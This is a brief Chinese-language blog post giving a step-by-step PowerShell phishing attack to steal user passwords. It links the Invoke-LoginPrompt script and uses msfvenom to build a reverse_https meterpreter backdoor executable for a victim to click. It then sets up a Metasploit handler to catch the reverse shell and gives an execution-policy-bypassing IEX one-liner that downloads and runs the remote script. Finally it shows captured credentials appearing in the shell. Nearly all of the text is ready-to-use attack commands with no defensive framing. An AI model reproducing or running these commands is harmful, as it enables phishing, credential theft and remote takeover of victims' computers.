powershell网络钓鱼获取用户密码

电玩女神 2024-04-07 11:03 62阅读 0赞

1.powershell网络钓鱼脚本：

[**https://raw.githubusercontent.com/enigma0x3/Invoke-LoginPrompt/master/Invoke-LoginPrompt.ps1**][https_raw.githubusercontent.com_enigma0x3_Invoke-LoginPrompt_master_Invoke-LoginPrompt.ps1]

2.MSF下生产一个后门文件，通过上传或者其他方式让其受害者点击

Msfvenom -p windows/meterpreter/reverse\_https

lhost = 192.168.1.138 lport = 4444 -f exe> /opt/bk.exe

2.通过MSF获取远程目标受害者主机的反弹shhell:

msf> use multi/handler

msf exploit(handler )> set payload windows/meterpreter/reverse\_https

msf exploit(handler )> set lhost 192.168.1.138

msf exploit(handler )> set lport 4444

msf exploit(handler )> exploit

![ead690dabacfcfdcc7c243fa14e7a94d.png][]

3.powershel远程下载并执行：

powershell.exe -ep bypass -c IEX ((New-Object Net.WebClient).DownloadString(‘[**https://raw.githubusercontent.com/enigma0x3/Invoke-LoginPrompt/master/Invoke-LoginPrompt.ps1**][https_raw.githubusercontent.com_enigma0x3_Invoke-LoginPrompt_master_Invoke-LoginPrompt.ps1]

’)); Invoke-LoginPrompt

4.目标受害者远程登录：

![a93eaf42b2801b21ea748fda4d2eb8ac.png][]

5.一旦成功登录，即可在msf反弹shell中看到密码：

![20ca86e59cf43ddb6a914e3fad82ba7a.png][]

[https_raw.githubusercontent.com_enigma0x3_Invoke-LoginPrompt_master_Invoke-LoginPrompt.ps1]: https://raw.githubusercontent.com/enigma0x3/Invoke-LoginPrompt/master/Invoke-LoginPrompt.ps1
[ead690dabacfcfdcc7c243fa14e7a94d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/553306565ed04ffeafc84f67098da5a5.png
[a93eaf42b2801b21ea748fda4d2eb8ac.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/d948143f6f9e4998a6b494fcc2ee8363.png
[20ca86e59cf43ddb6a914e3fad82ba7a.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/f350bf2d247c490d9e2f41b32b8290ff.png